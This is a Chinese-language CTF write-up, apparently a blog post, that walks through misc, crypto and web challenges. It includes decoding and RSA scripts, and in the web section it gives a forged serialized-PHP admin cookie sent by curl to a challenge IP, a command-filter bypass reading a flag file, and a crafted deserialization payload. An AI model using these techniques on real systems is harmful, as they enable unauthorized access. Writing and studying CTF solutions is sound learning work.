因为我是杂项,密码,和web这三个方向所以就只有这三类的wp
写的不好望各位师傅多多包涵
杂项题
7、ez_picture
下载压缩包

解压后看到有一个图片和文件.zip
这个图片是迷惑项其实没啥用
这里压缩包我已经解开了用的是随波的暴力破解

提取出来里面有张图片 放随波里看看,这base64不就出来了吗

8、easy_misc
先看题想着转ASC
77 49 66 77 83 107 104 68 78 70 81 50 90 50 104 87 98 87 74 77 99 51 66 89 100 85 70 120 90 107 104 71 77 51 69 48 90 71 57 119 85 109 69 61
后来也没成功,最后用python脚本跑了一下
import base64
# 原始数字序列
numbers = [
77, 49, 66, 77, 83, 107, 104, 68, 78, 70, 81, 50, 90, 50, 104, 87,
98, 87, 74, 77, 99, 51, 66, 89, 100, 85, 70, 120, 90, 107, 104, 71,
77, 51, 69, 48, 90, 71, 57, 119, 85, 109, 69, 61
]
# 第一步:将数字转换为ASCII字符
ascii_str = ''.join([chr(n) for n in numbers])
print("第一步解码(ASCII):", ascii_str)
# 第二步:Base64解码(可能有多重)
decoded = ascii_str
while True:
try:
# 尝试Base64解码
temp = base64.b64decode(decoded).decode('utf-8')
print("解码结果:", temp)
decoded = temp
except:
# 解码失败时退出循环
break
# 第三步:检查是否有其他编码(如hex)
try:
# 尝试hex解码
hex_decoded = bytes.fromhex(decoded).decode('utf-8')
print("Hex解码结果:", hex_decoded)
decoded = hex_decoded
except:
pass
# 最终flag
flag = decoded.strip()
print("\n最终Flag:", flag)
本来让直接出flag的但是试了不对,这里就想肯定没有那么容易
ASCII码有点眼熟,放进随波中看一下

9、套娃
听这名字都是内中有内的 foremost看到里面有压缩包

点开看里面还是套娃后缀命名为.zip再解压

发现很多文档没办法一个一个看


10、ez_xor
看5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0a-0e-44
直接跑带代码
def solve_ez_xor():
# Given ciphertext in hex format
ciphertext_hex = "5f-55-58-5e-42-71-7a-6d-7f-48-4e-5c-78-6a-7d-08-0a-0e-44"
# Convert hex string to bytes
cipher_bytes = bytes.fromhex(ciphertext_hex.replace("-", ""))
# Method 1: Brute-force single-byte XOR
print("Trying single-byte XOR brute-force...")
found = False
for key in range(256):
decrypted = bytes([b ^ key for b in cipher_bytes])
try:
decrypted_str = decrypted.decode('ascii')
# Check for common flag patterns
if "flag" in decrypted_str or "FLAG" in decrypted_str:
print(f"Found potential solution with key 0x{key:02x}: {decrypted_str}")
found = True
except UnicodeDecodeError:
continue
if not found:
print("No flag found with single-byte XOR, trying known plaintext attack...")
# Method 2: Known plaintext attack (assuming flag starts with 'flag{')
known_prefix = b"flag{"
if len(cipher_bytes) >= len(known_prefix):
potential_key = cipher_bytes[0] ^ known_prefix[0]
# Verify if the same key works for all prefix bytes
valid_key = True
for i in range(min(len(known_prefix), len(cipher_bytes))):
if (cipher_bytes[i] ^ potential_key) != known_prefix[i]:
valid_key = False
break
if valid_key:
print(f"\nFound repeating XOR key: 0x{potential_key:02x}")
decrypted = bytes([b ^ potential_key for b in cipher_bytes])
print(f"Decrypted flag: {decrypted.decode('ascii')}")
else:
print("Could not find a consistent XOR key with known plaintext attack")
else:
print("Ciphertext too short for known plaintext attack")
if __name__ == "__main__":
solve_ez_xor()
11、光隙中的寄生密钥
解压看还是隐写里面还有个压缩包

flag在压缩包里面

暴力破解 


12、被折叠的显影图纸
直接随波就行,最简单的一道
密码题
1、baby_rsa

写脚本按照要求
最后获取到的flag的值3替换成4提交。
from Crypto.Util.number import long_to_bytes
from gmpy2 import powmod, invert, isqrt
# 给定参数
N = 12194420073815392880989031611545296854145241675320130314821394843436947373331080911787176737202940676809674543138807024739454432089096794532016797246441325729856528664071322968428804098069997196490382286126389331179054971927655320978298979794245379000336635795490242027519669217784433367021578247340154647762800402140321022659272383087544476178802025951768015423972182045405466448431557625201012332239774962902750073900383993300146193300485117217319794356652729502100167668439007925004769118070105324664379141623816256895933959211381114172778535296409639317535751005960540737044457986793503218555306862743329296169569
e = 65537
c = 4504811333111877209539001665516391567038109992884271089537302226304395434343112574404626060854962818378560852067621253927330725244984869198505556722509058098660083054715146670767687120587049288861063202617507262871279819211231233198070574538845161629806932541832207041112786336441975087351873537350203469642198999219863581040927505152110051313011073115724502567261524181865883874517555848163026240201856207626237859665607255740790404039098444452158216907752375078054615802613066229766343714317550472079224694798552886759103668349270682843916307652213810947814618810706997339302734827571635179684652559512873381672063
# 由于p和q非常接近,可以通过平方根附近寻找质数
def factor_close_primes(N):
root = isqrt(N)
q = root
while True:
if N % q == 0:
return q, N // q
q -= 1
# 分解N得到p和q
q, p = factor_close_primes(N)
# 计算phi(N)
phi = (p - 1) * (q - 1)
# 计算私钥d
d = invert(e, phi)
# 解密得到明文
m = powmod(c, d, N)
# 将长整数转换为字节
flag = long_to_bytes(m).decode()
# 将flag中的所有3替换为4
modified_flag = flag.replace('3', '4')
print("原始flag:", flag)
print("修改后的flag:", modified_flag)

2、cry_rsa
在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=19 求解出d,然后把d的值加4为flag值。flag格式为flag{****}
看完要求用代码和rsa

4、gift

看完要求想一下什么水果能分呢,当然处了梨哈
头脑一下

这里我是一个一个试出来的最后flag就是flag{zso}
5、草甸方阵的密语
题目描述:考古学家在阿尔卑斯山麓发现了一处古罗马牧羊场遗址,残垣断壁间散落着刻满符号的石板。研究显示,这些符号出自青年时期的凯撒之手 —— 彼时他尚未成为征服高卢的统帅,而是在草甸间放牧的少年。传说中,这位未来的军事天才曾将羊群训练成移动方阵,并用栅栏排列出隐秘的防御阵型。 根据题目可知道用了凯撒和栅栏 反正有工具一个一个加看到里面包含flag停手


6、easy-签到题
题目内容:怀揣黑客梦想的你,对网络世界的神秘挑战心驰神往。听闻御网杯是汇聚高手、满是趣味谜题的竞赛,立刻拉上同样痴迷解谜的青梅竹马小鱼奔赴现场。 活动现场,齿轮与电路装饰的展架林立,张贴着机械组装提示和神秘代码。参赛者们或沉思、或讨论,气氛紧张热烈。小鱼望着字符,满脸困惑:“这都是啥?”尽管你计算机知识尚浅,但热爱驱使你决心与小鱼并肩,破解这些“数字谜题”,开启探索之旅

随便梭哈 
WEB题
17、YWB_Web_xff
阅读源码,绕过ip限制,获取flag。 直接省了


用户python写一个代码用URL 发送一个 POST 请求,可能用于测试目标服务器的响应
flag直接出了
19、YWB_Web_未授权访问

进去发现是普通用户要用amdin用户
curl -X GET \ -H "Cookie: user=0%3A5%3A%22Admin%22%3A2%3A%7Bs%3A4%3A%22name%22%3Bs%3A5%3A%22admin%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D" \ http://47.105.113.86:4000

通过使用 curl 命令,构造带有特定 Cookie 信息的 GET 请求发送到目标服务器,利用服务器对该 Cookie 的验证机制,成功获取到欢迎信息以及包含 flag 的响应内容,从而得到了目标 flag 值 flag{rpuqari28i9l}
18、YWB_Web_命令执行过滤绕过

看源码审计
?/cmd=readfile(%27/tmp/flag.nisp%27);

20、YWB_Web_反序列化
先审源码

构造一个新的
<?php
class mylogin {
var $user;
var $pass;
}
$obj = new mylogin();
$obj->pass = "myzS@11wawq";
echo serialize($obj);
?>
运行得出:O:7:"mylogin":2:{s:4:"user";N;s:4:"pass";s:11:"myzS@11wawq";}
直接拿过来 



4076

被折叠的 条评论
为什么被折叠?



